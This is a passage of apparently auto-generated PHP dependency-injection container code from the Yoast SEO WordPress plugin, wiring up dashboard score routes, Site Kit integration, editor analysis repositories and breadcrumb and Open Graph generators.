\Yoast\WP\SEO\Helpers\Schema\ID_Helper())), ($this->services['WPSEO_Replace_Vars'] ?? $this->getWPSEOReplaceVarsService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Site_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Site_Helper'] = new \Yoast\WP\SEO\Helpers\Site_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\User_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\User_Helper'] = new \Yoast\WP\SEO\Helpers\User_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Permalink_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Permalink_Helper'] = new \Yoast\WP\SEO\Helpers\Permalink_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper'] ?? $this->getIndexableHelperService()), ($this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Repository'] ?? $this->getIndexableRepositoryService())); } /** * Gets the public 'Yoast\WP\SEO\Dashboard\User_Interface\Configuration\Site_Kit_Capabilities_Integration' shared autowired service. * * @return \Yoast\WP\SEO\Dashboard\User_Interface\Configuration\Site_Kit_Capabilities_Integration */ protected function getSiteKitCapabilitiesIntegrationService() { return $this->services['Yoast\\WP\\SEO\\Dashboard\\User_Interface\\Configuration\\Site_Kit_Capabilities_Integration'] = new \Yoast\WP\SEO\Dashboard\User_Interface\Configuration\Site_Kit_Capabilities_Integration(); } /** * Gets the public 'Yoast\WP\SEO\Dashboard\User_Interface\Configuration\Site_Kit_Configuration_Dismissal_Route' shared autowired service. * * @return \Yoast\WP\SEO\Dashboard\User_Interface\Configuration\Site_Kit_Configuration_Dismissal_Route */ protected function getSiteKitConfigurationDismissalRouteService() { return $this->services['Yoast\\WP\\SEO\\Dashboard\\User_Interface\\Configuration\\Site_Kit_Configuration_Dismissal_Route'] = new \Yoast\WP\SEO\Dashboard\User_Interface\Configuration\Site_Kit_Configuration_Dismissal_Route(($this->privates['Yoast\\WP\\SEO\\Dashboard\\Infrastructure\\Configuration\\Permanently_Dismissed_Site_Kit_Configuration_Repository'] ?? $this->getPermanentlyDismissedSiteKitConfigurationRepositoryService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Capability_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Capability_Helper'] = new \Yoast\WP\SEO\Helpers\Capability_Helper()))); } /** * Gets the public 'Yoast\WP\SEO\Dashboard\User_Interface\Configuration\Site_Kit_Consent_Management_Route' shared autowired service. * * @return \Yoast\WP\SEO\Dashboard\User_Interface\Configuration\Site_Kit_Consent_Management_Route */ protected function getSiteKitConsentManagementRouteService() { return $this->services['Yoast\\WP\\SEO\\Dashboard\\User_Interface\\Configuration\\Site_Kit_Consent_Management_Route'] = new \Yoast\WP\SEO\Dashboard\User_Interface\Configuration\Site_Kit_Consent_Management_Route(($this->privates['Yoast\\WP\\SEO\\Dashboard\\Infrastructure\\Configuration\\Site_Kit_Consent_Repository'] ?? $this->getSiteKitConsentRepositoryService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Capability_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Capability_Helper'] = new \Yoast\WP\SEO\Helpers\Capability_Helper()))); } /** * Gets the public 'Yoast\WP\SEO\Dashboard\User_Interface\Scores\Readability_Scores_Route' shared autowired service. * * @return \Yoast\WP\SEO\Dashboard\User_Interface\Scores\Readability_Scores_Route */ protected function getReadabilityScoresRouteService() { $a = new \Yoast\WP\SEO\Dashboard\Application\Score_Results\Readability_Score_Results\Readability_Score_Results_Repository(new \Yoast\WP\SEO\Dashboard\Infrastructure\Score_Results\Readability_Score_Results\Cached_Readability_Score_Results_Collector(new \Yoast\WP\SEO\Dashboard\Infrastructure\Score_Results\Readability_Score_Results\Readability_Score_Results_Collector()), new \Yoast\WP\SEO\Dashboard\Domain\Score_Groups\Readability_Score_Groups\Bad_Readability_Score_Group(), new \Yoast\WP\SEO\Dashboard\Domain\Score_Groups\Readability_Score_Groups\Good_Readability_Score_Group(), new \Yoast\WP\SEO\Dashboard\Domain\Score_Groups\Readability_Score_Groups\No_Readability_Score_Group(), new \Yoast\WP\SEO\Dashboard\Domain\Score_Groups\Readability_Score_Groups\Ok_Readability_Score_Group()); $a->set_repositories(($this->privates['Yoast\\WP\\SEO\\Dashboard\\Application\\Score_Results\\Current_Scores_Repository'] ?? $this->getCurrentScoresRepositoryService())); $this->services['Yoast\\WP\\SEO\\Dashboard\\User_Interface\\Scores\\Readability_Scores_Route'] = $instance = new \Yoast\WP\SEO\Dashboard\User_Interface\Scores\Readability_Scores_Route($a); $instance->set_collectors(($this->privates['Yoast\\WP\\SEO\\Dashboard\\Infrastructure\\Content_Types\\Content_Types_Collector'] ?? $this->getContentTypesCollectorService())); $instance->set_repositories(($this->privates['Yoast\\WP\\SEO\\Dashboard\\Application\\Taxonomies\\Taxonomies_Repository'] ?? $this->getTaxonomiesRepositoryService()), ($this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Repository'] ?? $this->getIndexableRepositoryService())); return $instance; } /** * Gets the public 'Yoast\WP\SEO\Dashboard\User_Interface\Scores\SEO_Scores_Route' shared autowired service. * * @return \Yoast\WP\SEO\Dashboard\User_Interface\Scores\SEO_Scores_Route */ protected function getSEOScoresRouteService() { $a = new \Yoast\WP\SEO\Dashboard\Application\Score_Results\SEO_Score_Results\SEO_Score_Results_Repository(new \Yoast\WP\SEO\Dashboard\Infrastructure\Score_Results\SEO_Score_Results\Cached_SEO_Score_Results_Collector(new \Yoast\WP\SEO\Dashboard\Infrastructure\Score_Results\SEO_Score_Results\SEO_Score_Results_Collector()), ($this->privates['Yoast\\WP\\SEO\\Dashboard\\Domain\\Score_Groups\\SEO_Score_Groups\\Bad_SEO_Score_Group'] ?? ($this->privates['Yoast\\WP\\SEO\\Dashboard\\Domain\\Score_Groups\\SEO_Score_Groups\\Bad_SEO_Score_Group'] = new \Yoast\WP\SEO\Dashboard\Domain\Score_Groups\SEO_Score_Groups\Bad_SEO_Score_Group())), ($this->privates['Yoast\\WP\\SEO\\Dashboard\\Domain\\Score_Groups\\SEO_Score_Groups\\Good_SEO_Score_Group'] ?? ($this->privates['Yoast\\WP\\SEO\\Dashboard\\Domain\\Score_Groups\\SEO_Score_Groups\\Good_SEO_Score_Group'] = new \Yoast\WP\SEO\Dashboard\Domain\Score_Groups\SEO_Score_Groups\Good_SEO_Score_Group())), ($this->privates['Yoast\\WP\\SEO\\Dashboard\\Domain\\Score_Groups\\SEO_Score_Groups\\No_SEO_Score_Group'] ?? ($this->privates['Yoast\\WP\\SEO\\Dashboard\\Domain\\Score_Groups\\SEO_Score_Groups\\No_SEO_Score_Group'] = new \Yoast\WP\SEO\Dashboard\Domain\Score_Groups\SEO_Score_Groups\No_SEO_Score_Group())), ($this->privates['Yoast\\WP\\SEO\\Dashboard\\Domain\\Score_Groups\\SEO_Score_Groups\\Ok_SEO_Score_Group'] ?? ($this->privates['Yoast\\WP\\SEO\\Dashboard\\Domain\\Score_Groups\\SEO_Score_Groups\\Ok_SEO_Score_Group'] = new \Yoast\WP\SEO\Dashboard\Domain\Score_Groups\SEO_Score_Groups\Ok_SEO_Score_Group()))); $a->set_repositories(($this->privates['Yoast\\WP\\SEO\\Dashboard\\Application\\Score_Results\\Current_Scores_Repository'] ?? $this->getCurrentScoresRepositoryService())); $this->services['Yoast\\WP\\SEO\\Dashboard\\User_Interface\\Scores\\SEO_Scores_Route'] = $instance = new \Yoast\WP\SEO\Dashboard\User_Interface\Scores\SEO_Scores_Route($a); $instance->set_collectors(($this->privates['Yoast\\WP\\SEO\\Dashboard\\Infrastructure\\Content_Types\\Content_Types_Collector'] ?? $this->getContentTypesCollectorService())); $instance->set_repositories(($this->privates['Yoast\\WP\\SEO\\Dashboard\\Application\\Taxonomies\\Taxonomies_Repository'] ?? $this->getTaxonomiesRepositoryService()), ($this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Repository'] ?? $this->getIndexableRepositoryService())); return $instance; } /** * Gets the public 'Yoast\WP\SEO\Dashboard\User_Interface\Setup\Setup_Flow_Interceptor' shared autowired service. * * @return \Yoast\WP\SEO\Dashboard\User_Interface\Setup\Setup_Flow_Interceptor */ protected function getSetupFlowInterceptorService() { return $this->services['Yoast\\WP\\SEO\\Dashboard\\User_Interface\\Setup\\Setup_Flow_Interceptor'] = new \Yoast\WP\SEO\Dashboard\User_Interface\Setup\Setup_Flow_Interceptor(($this->services['Yoast\\WP\\SEO\\Helpers\\Current_Page_Helper'] ?? $this->getCurrentPageHelperService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Redirect_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Redirect_Helper'] = new \Yoast\WP\SEO\Helpers\Redirect_Helper())), ($this->privates['Yoast\\WP\\SEO\\Dashboard\\Infrastructure\\Integrations\\Site_Kit'] ?? $this->getSiteKitService())); } /** * Gets the public 'Yoast\WP\SEO\Dashboard\User_Interface\Setup\Setup_Url_Interceptor' shared autowired service. * * @return \Yoast\WP\SEO\Dashboard\User_Interface\Setup\Setup_Url_Interceptor */ protected function getSetupUrlInterceptorService() { return $this->services['Yoast\\WP\\SEO\\Dashboard\\User_Interface\\Setup\\Setup_Url_Interceptor'] = new \Yoast\WP\SEO\Dashboard\User_Interface\Setup\Setup_Url_Interceptor(($this->services['Yoast\\WP\\SEO\\Helpers\\Current_Page_Helper'] ?? $this->getCurrentPageHelperService()), ($this->privates['Yoast\\WP\\SEO\\Dashboard\\Infrastructure\\Integrations\\Site_Kit'] ?? $this->getSiteKitService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Redirect_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Redirect_Helper'] = new \Yoast\WP\SEO\Helpers\Redirect_Helper()))); } /** * Gets the public 'Yoast\WP\SEO\Dashboard\User_Interface\Time_Based_SEO_Metrics\Time_Based_SEO_Metrics_Route' shared autowired service. * * @return \Yoast\WP\SEO\Dashboard\User_Interface\Time_Based_SEO_Metrics\Time_Based_SEO_Metrics_Route */ protected function getTimeBasedSEOMetricsRouteService() { $a = new \Yoast\WP\SEO\Dashboard\Infrastructure\Search_Console\Site_Kit_Search_Console_Adapter(new \Yoast\WP\SEO\Dashboard\Infrastructure\Search_Console\Site_Kit_Search_Console_Api_Call()); $b = ($this->privates['Yoast\\WP\\SEO\\Dashboard\\Infrastructure\\Integrations\\Site_Kit'] ?? $this->getSiteKitService()); $c = new \Yoast\WP\SEO\Dashboard\Infrastructure\Analytics_4\Site_Kit_Analytics_4_Adapter(new \Yoast\WP\SEO\Dashboard\Infrastructure\Analytics_4\Site_Kit_Analytics_4_Api_Call()); return $this->services['Yoast\\WP\\SEO\\Dashboard\\User_Interface\\Time_Based_SEO_Metrics\\Time_Based_SEO_Metrics_Route'] = new \Yoast\WP\SEO\Dashboard\User_Interface\Time_Based_SEO_Metrics\Time_Based_SEO_Metrics_Route(new \Yoast\WP\SEO\Dashboard\Application\Search_Rankings\Top_Page_Repository($a, new \Yoast\WP\SEO\Dashboard\Infrastructure\Indexables\Top_Page_Indexable_Collector(($this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Repository'] ?? $this->getIndexableRepositoryService()), new \Yoast\WP\SEO\Dashboard\Application\Score_Groups\SEO_Score_Groups\SEO_Score_Groups_Repository(($this->privates['Yoast\\WP\\SEO\\Dashboard\\Domain\\Score_Groups\\SEO_Score_Groups\\Bad_SEO_Score_Group'] ?? ($this->privates['Yoast\\WP\\SEO\\Dashboard\\Domain\\Score_Groups\\SEO_Score_Groups\\Bad_SEO_Score_Group'] = new \Yoast\WP\SEO\Dashboard\Domain\Score_Groups\SEO_Score_Groups\Bad_SEO_Score_Group())), ($this->privates['Yoast\\WP\\SEO\\Dashboard\\Domain\\Score_Groups\\SEO_Score_Groups\\Good_SEO_Score_Group'] ?? ($this->privates['Yoast\\WP\\SEO\\Dashboard\\Domain\\Score_Groups\\SEO_Score_Groups\\Good_SEO_Score_Group'] = new \Yoast\WP\SEO\Dashboard\Domain\Score_Groups\SEO_Score_Groups\Good_SEO_Score_Group())), ($this->privates['Yoast\\WP\\SEO\\Dashboard\\Domain\\Score_Groups\\SEO_Score_Groups\\No_SEO_Score_Group'] ?? ($this->privates['Yoast\\WP\\SEO\\Dashboard\\Domain\\Score_Groups\\SEO_Score_Groups\\No_SEO_Score_Group'] = new \Yoast\WP\SEO\Dashboard\Domain\Score_Groups\SEO_Score_Groups\No_SEO_Score_Group())), ($this->privates['Yoast\\WP\\SEO\\Dashboard\\Domain\\Score_Groups\\SEO_Score_Groups\\Ok_SEO_Score_Group'] ?? ($this->privates['Yoast\\WP\\SEO\\Dashboard\\Domain\\Score_Groups\\SEO_Score_Groups\\Ok_SEO_Score_Group'] = new \Yoast\WP\SEO\Dashboard\Domain\Score_Groups\SEO_Score_Groups\Ok_SEO_Score_Group())))), $b), new \Yoast\WP\SEO\Dashboard\Application\Search_Rankings\Top_Query_Repository($a, $b), new \Yoast\WP\SEO\Dashboard\Application\Traffic\Organic_Sessions_Compare_Repository($c, $b), new \Yoast\WP\SEO\Dashboard\Application\Traffic\Organic_Sessions_Daily_Repository($c, $b), new \Yoast\WP\SEO\Dashboard\Application\Search_Rankings\Search_Ranking_Compare_Repository($a, $b), ($this->services['Yoast\\WP\\SEO\\Helpers\\Capability_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Capability_Helper'] = new \Yoast\WP\SEO\Helpers\Capability_Helper()))); } /** * Gets the public 'Yoast\WP\SEO\Dashboard\User_Interface\Tracking\Setup_Steps_Tracking_Route' shared autowired service. * * @return \Yoast\WP\SEO\Dashboard\User_Interface\Tracking\Setup_Steps_Tracking_Route */ protected function getSetupStepsTrackingRouteService() { return $this->services['Yoast\\WP\\SEO\\Dashboard\\User_Interface\\Tracking\\Setup_Steps_Tracking_Route'] = new \Yoast\WP\SEO\Dashboard\User_Interface\Tracking\Setup_Steps_Tracking_Route(($this->privates['Yoast\\WP\\SEO\\Dashboard\\Infrastructure\\Tracking\\Setup_Steps_Tracking_Repository'] ?? $this->getSetupStepsTrackingRepositoryService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Capability_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Capability_Helper'] = new \Yoast\WP\SEO\Helpers\Capability_Helper()))); } /** * Gets the public 'Yoast\WP\SEO\Editors\Application\Analysis_Features\Enabled_Analysis_Features_Repository' shared autowired service. * * @return \Yoast\WP\SEO\Editors\Application\Analysis_Features\Enabled_Analysis_Features_Repository */ protected function getEnabledAnalysisFeaturesRepositoryService() { $a = ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())); $b = ($this->services['Yoast\\WP\\SEO\\Helpers\\Language_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Language_Helper'] = new \Yoast\WP\SEO\Helpers\Language_Helper())); return $this->services['Yoast\\WP\\SEO\\Editors\\Application\\Analysis_Features\\Enabled_Analysis_Features_Repository'] = new \Yoast\WP\SEO\Editors\Application\Analysis_Features\Enabled_Analysis_Features_Repository(new \Yoast\WP\SEO\Editors\Framework\Cornerstone_Content($a), new \Yoast\WP\SEO\Editors\Framework\Inclusive_Language_Analysis($a, $b, ($this->services['Yoast\\WP\\SEO\\Helpers\\Product_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Product_Helper'] = new \Yoast\WP\SEO\Helpers\Product_Helper()))), new \Yoast\WP\SEO\Editors\Framework\Keyphrase_Analysis($a), new \Yoast\WP\SEO\Editors\Framework\Previously_Used_Keyphrase(), new \Yoast\WP\SEO\Editors\Framework\Readability_Analysis($a), new \Yoast\WP\SEO\Editors\Framework\Word_Form_Recognition($b)); } /** * Gets the public 'Yoast\WP\SEO\Editors\Application\Integrations\Integration_Information_Repository' shared autowired service. * * @return \Yoast\WP\SEO\Editors\Application\Integrations\Integration_Information_Repository */ protected function getIntegrationInformationRepositoryService() { $a = ($this->services['WPSEO_Addon_Manager'] ?? $this->getWPSEOAddonManagerService()); $b = ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())); return $this->services['Yoast\\WP\\SEO\\Editors\\Application\\Integrations\\Integration_Information_Repository'] = new \Yoast\WP\SEO\Editors\Application\Integrations\Integration_Information_Repository(new \Yoast\WP\SEO\Editors\Framework\Integrations\Jetpack_Markdown(), new \Yoast\WP\SEO\Editors\Framework\Integrations\Multilingual(($this->services['Yoast\\WP\\SEO\\Conditionals\\Third_Party\\WPML_Conditional'] ?? ($this->services['Yoast\\WP\\SEO\\Conditionals\\Third_Party\\WPML_Conditional'] = new \Yoast\WP\SEO\Conditionals\Third_Party\WPML_Conditional())), ($this->services['Yoast\\WP\\SEO\\Conditionals\\Third_Party\\Polylang_Conditional'] ?? ($this->services['Yoast\\WP\\SEO\\Conditionals\\Third_Party\\Polylang_Conditional'] = new \Yoast\WP\SEO\Conditionals\Third_Party\Polylang_Conditional())), ($this->services['Yoast\\WP\\SEO\\Conditionals\\Third_Party\\TranslatePress_Conditional'] ?? ($this->services['Yoast\\WP\\SEO\\Conditionals\\Third_Party\\TranslatePress_Conditional'] = new \Yoast\WP\SEO\Conditionals\Third_Party\TranslatePress_Conditional()))), new \Yoast\WP\SEO\Editors\Framework\Integrations\News_SEO($a), new \Yoast\WP\SEO\Editors\Framework\Integrations\Semrush($b), new \Yoast\WP\SEO\Editors\Framework\Integrations\Wincher(($this->services['Yoast\\WP\\SEO\\Helpers\\Wincher_Helper'] ?? $this->getWincherHelperService()), $b), new \Yoast\WP\SEO\Editors\Framework\Integrations\WooCommerce_SEO($a), new \Yoast\WP\SEO\Editors\Framework\Integrations\WooCommerce(($this->services['Yoast\\WP\\SEO\\Conditionals\\WooCommerce_Conditional'] ?? ($this->services['Yoast\\WP\\SEO\\Conditionals\\WooCommerce_Conditional'] = new \Yoast\WP\SEO\Conditionals\WooCommerce_Conditional())))); } /** * Gets the public 'Yoast\WP\SEO\Editors\Application\Seo\Post_Seo_Information_Repository' shared autowired service. * * @return \Yoast\WP\SEO\Editors\Application\Seo\Post_Seo_Information_Repository */ protected function getPostSeoInformationRepositoryService() { $a = ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())); return $this->services['Yoast\\WP\\SEO\\Editors\\Application\\Seo\\Post_Seo_Information_Repository'] = new \Yoast\WP\SEO\Editors\Application\Seo\Post_Seo_Information_Repository(new \Yoast\WP\SEO\Editors\Framework\Seo\Posts\Description_Data_Provider(($this->services['Yoast\\WP\\SEO\\Helpers\\Date_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Date_Helper'] = new \Yoast\WP\SEO\Helpers\Date_Helper())), $a), new \Yoast\WP\SEO\Editors\Framework\Seo\Posts\Keyphrase_Data_Provider(($this->services['Yoast\\WP\\SEO\\Helpers\\Meta_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Meta_Helper'] = new \Yoast\WP\SEO\Helpers\Meta_Helper()))), new \Yoast\WP\SEO\Editors\Framework\Seo\Posts\Social_Data_Provider($a, ($this->services['Yoast\\WP\\SEO\\Helpers\\Image_Helper'] ?? $this->getImageHelperService())), new \Yoast\WP\SEO\Editors\Framework\Seo\Posts\Title_Data_Provider($a)); } /** * Gets the public 'Yoast\WP\SEO\Editors\Application\Seo\Term_Seo_Information_Repository' shared autowired service. * * @return \Yoast\WP\SEO\Editors\Application\Seo\Term_Seo_Information_Repository */ protected function getTermSeoInformationRepositoryService() { return $this->services['Yoast\\WP\\SEO\\Editors\\Application\\Seo\\Term_Seo_Information_Repository'] = new \Yoast\WP\SEO\Editors\Application\Seo\Term_Seo_Information_Repository(new \Yoast\WP\SEO\Editors\Framework\Seo\Terms\Description_Data_Provider(), new \Yoast\WP\SEO\Editors\Framework\Seo\Terms\Keyphrase_Data_Provider(), new \Yoast\WP\SEO\Editors\Framework\Seo\Terms\Social_Data_Provider(($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Image_Helper'] ?? $this->getImageHelperService())), new \Yoast\WP\SEO\Editors\Framework\Seo\Terms\Title_Data_Provider()); } /** * Gets the public 'Yoast\WP\SEO\Editors\Application\Site\Website_Information_Repository' shared autowired service. * * @return \Yoast\WP\SEO\Editors\Application\Site\Website_Information_Repository */ protected function getWebsiteInformationRepositoryService() { $a = ($this->services['Yoast\\WP\\SEO\\Helpers\\Short_Link_Helper'] ?? $this->getShortLinkHelperService()); $b = ($this->services['Yoast\\WP\\SEO\\Introductions\\Infrastructure\\Wistia_Embed_Permission_Repository'] ?? $this->getWistiaEmbedPermissionRepositoryService()); $c = ($this->services['Yoast\\WP\\SEO\\Surfaces\\Meta_Surface'] ?? $this->getMetaSurfaceService()); $d = ($this->services['Yoast\\WP\\SEO\\Helpers\\Product_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Product_Helper'] = new \Yoast\WP\SEO\Helpers\Product_Helper())); $e = ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())); $f = ($this->services['Yoast\\WP\\SEO\\Promotions\\Application\\Promotion_Manager'] ?? $this->getPromotionManagerService()); return $this->services['Yoast\\WP\\SEO\\Editors\\Application\\Site\\Website_Information_Repository'] = new \Yoast\WP\SEO\Editors\Application\Site\Website_Information_Repository(new \Yoast\WP\SEO\Editors\Framework\Site\Post_Site_Information($a, $b, $c, $d, ($this->services['Yoast\\WP\\SEO\\Actions\\Alert_Dismissal_Action'] ?? $this->getAlertDismissalActionService()), $e, $f, ($this->services['Yoast\\WP\\SEO\\Alerts\\Infrastructure\\Default_SEO_Data\\Default_SEO_Data_Collector'] ?? $this->getDefaultSEODataCollectorService())), new \Yoast\WP\SEO\Editors\Framework\Site\Term_Site_Information($a, $b, $c, $d, $e, $f)); } /** * Gets the public 'Yoast\WP\SEO\General\User_Interface\General_Page_Integration' shared autowired service. * * @return \Yoast\WP\SEO\General\User_Interface\General_Page_Integration */ protected function getGeneralPageIntegrationService() { $a = ($this->services['Yoast\\WP\\SEO\\Helpers\\User_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\User_Helper'] = new \Yoast\WP\SEO\Helpers\User_Helper())); $b = ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())); return $this->services['Yoast\\WP\\SEO\\General\\User_Interface\\General_Page_Integration'] = new \Yoast\WP\SEO\General\User_Interface\General_Page_Integration(($this->services['WPSEO_Admin_Asset_Manager'] ?? $this->getWPSEOAdminAssetManagerService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Current_Page_Helper'] ?? $this->getCurrentPageHelperService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Product_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Product_Helper'] = new \Yoast\WP\SEO\Helpers\Product_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Short_Link_Helper'] ?? $this->getShortLinkHelperService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Notification_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Notification_Helper'] = new \Yoast\WP\SEO\Helpers\Notification_Helper())), ($this->services['Yoast\\WP\\SEO\\Actions\\Alert_Dismissal_Action'] ?? $this->getAlertDismissalActionService()), ($this->services['Yoast\\WP\\SEO\\Promotions\\Application\\Promotion_Manager'] ?? $this->getPromotionManagerService()), new \Yoast\WP\SEO\Dashboard\Application\Configuration\Dashboard_Configuration(new \Yoast\WP\SEO\Dashboard\Application\Content_Types\Content_Types_Repository(($this->privates['Yoast\\WP\\SEO\\Dashboard\\Infrastructure\\Content_Types\\Content_Types_Collector'] ?? $this->getContentTypesCollectorService()), ($this->privates['Yoast\\WP\\SEO\\Dashboard\\Application\\Taxonomies\\Taxonomies_Repository'] ?? $this->getTaxonomiesRepositoryService())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper'] ?? $this->getIndexableHelperService()), $a, ($this->services['Yoast\\WP\\SEO\\Editors\\Application\\Analysis_Features\\Enabled_Analysis_Features_Repository'] ?? $this->getEnabledAnalysisFeaturesRepositoryService()), new \Yoast\WP\SEO\Dashboard\Application\Endpoints\Endpoints_Repository(new \Yoast\WP\SEO\Dashboard\Infrastructure\Endpoints\Readability_Scores_Endpoint(), new \Yoast\WP\SEO\Dashboard\Infrastructure\Endpoints\SEO_Scores_Endpoint(), new \Yoast\WP\SEO\Dashboard\Infrastructure\Endpoints\Setup_Steps_Tracking_Endpoint(), new \Yoast\WP\SEO\Dashboard\Infrastructure\Endpoints\Site_Kit_Configuration_Dismissal_Endpoint(), ($this->privates['Yoast\\WP\\SEO\\Dashboard\\Infrastructure\\Endpoints\\Site_Kit_Consent_Management_Endpoint'] ?? ($this->privates['Yoast\\WP\\SEO\\Dashboard\\Infrastructure\\Endpoints\\Site_Kit_Consent_Management_Endpoint'] = new \Yoast\WP\SEO\Dashboard\Infrastructure\Endpoints\Site_Kit_Consent_Management_Endpoint())), new \Yoast\WP\SEO\Dashboard\Infrastructure\Endpoints\Time_Based_SEO_Metrics_Endpoint()), new \Yoast\WP\SEO\Dashboard\Infrastructure\Nonces\Nonce_Repository(), ($this->privates['Yoast\\WP\\SEO\\Dashboard\\Infrastructure\\Integrations\\Site_Kit'] ?? $this->getSiteKitService()), new \Yoast\WP\SEO\Dashboard\Application\Tracking\Setup_Steps_Tracking(($this->privates['Yoast\\WP\\SEO\\Dashboard\\Infrastructure\\Tracking\\Setup_Steps_Tracking_Repository'] ?? $this->getSetupStepsTrackingRepositoryService())), new \Yoast\WP\SEO\Dashboard\Infrastructure\Browser_Cache\Browser_Cache_Configuration()), $a, $b, ($this->services['Yoast\\WP\\SEO\\Conditionals\\WooCommerce_Conditional'] ?? ($this->services['Yoast\\WP\\SEO\\Conditionals\\WooCommerce_Conditional'] = new \Yoast\WP\SEO\Conditionals\WooCommerce_Conditional())), ($this->services['WPSEO_Addon_Manager'] ?? $this->getWPSEOAddonManagerService()), new \Yoast\WP\SEO\Task_List\Application\Configuration\Task_List_Configuration($b, new \Yoast\WP\SEO\Task_List\Application\Endpoints\Endpoints_Repository(new \Yoast\WP\SEO\Task_List\Infrastructure\Endpoints\Complete_Task_Endpoint(), new \Yoast\WP\SEO\Task_List\Infrastructure\Endpoints\Get_Tasks_Endpoint()))); } /** * Gets the public 'Yoast\WP\SEO\General\User_Interface\Opt_In_Route' shared autowired service. * * @return \Yoast\WP\SEO\General\User_Interface\Opt_In_Route */ protected function getOptInRouteService() { return $this->services['Yoast\\WP\\SEO\\General\\User_Interface\\Opt_In_Route'] = new \Yoast\WP\SEO\General\User_Interface\Opt_In_Route(($this->services['Yoast\\WP\\SEO\\Helpers\\User_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\User_Helper'] = new \Yoast\WP\SEO\Helpers\User_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Capability_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Capability_Helper'] = new \Yoast\WP\SEO\Helpers\Capability_Helper()))); } /** * Gets the public 'Yoast\WP\SEO\Generators\Breadcrumbs_Generator' shared autowired service. * * @return \Yoast\WP\SEO\Generators\Breadcrumbs_Generator */ protected function getBreadcrumbsGeneratorService() { return $this->services['Yoast\\WP\\SEO\\Generators\\Breadcrumbs_Generator'] = new \Yoast\WP\SEO\Generators\Breadcrumbs_Generator(($this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Repository'] ?? $this->getIndexableRepositoryService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Current_Page_Helper'] ?? $this->getCurrentPageHelperService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Post_Type_Helper'] ?? $this->getPostTypeHelperService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Url_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Url_Helper'] = new \Yoast\WP\SEO\Helpers\Url_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Pagination_Helper'] ?? $this->getPaginationHelperService())); } /** * Gets the public 'Yoast\WP\SEO\Generators\Open_Graph_Image_Generator' shared autowired service. * * @return \Yoast\WP\SEO\Generators\Open_Graph_Image_Generator */ protected function getOpenGraphImageGeneratorService() { return $this->services['Yoast\\WP\\SEO\\Generators\\Open_Graph_Image_Generator'] = new \Yoast\WP\SEO\Generators\Open_Graph_Image_Generator(($this->services['Yoast\\WP\\SEO\\Helpers\\Open_Graph\\Image_Helper'] ?? $this->getImageHelper2Service()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Image_Helper'] ?? $this->getImageHelperService()), 